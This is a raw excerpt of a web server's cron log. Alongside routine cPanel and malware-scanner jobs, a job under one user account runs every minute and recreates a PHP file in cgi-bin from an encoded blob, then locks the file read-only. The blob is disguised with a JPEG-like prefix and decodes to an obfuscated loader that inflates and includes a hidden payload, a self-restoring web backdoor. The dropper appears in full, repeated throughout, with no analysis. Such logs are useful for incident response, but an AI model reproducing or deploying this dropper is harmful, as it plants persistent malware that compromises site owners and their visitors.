7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:24:01 server CROND[14208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:25:01 server CROND[14264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:25:01 server CROND[14265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:25:01 server CROND[14266]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 08:25:01 server CROND[14267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:26:01 server CROND[14467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:27:01 server CROND[14531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 08:27:01 server CROND[14532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:28:01 server CROND[14603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:29:01 server CROND[14660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:30:01 server CROND[14732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:30:01 server CROND[14734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:30:01 server CROND[14733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 08:30:01 server CROND[14735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:30:01 server CROND[14736]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  7 08:31:01 server CROND[14849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:32:01 server CROND[15009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:33:01 server CROND[15075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:34:01 server CROND[15151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:35:01 server CROND[15226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:35:01 server CROND[15227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:35:01 server CROND[15228]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 08:35:01 server CROND[15229]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 08:35:01 server CROND[15232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:36:01 server CROND[15359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:37:01 server CROND[15531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 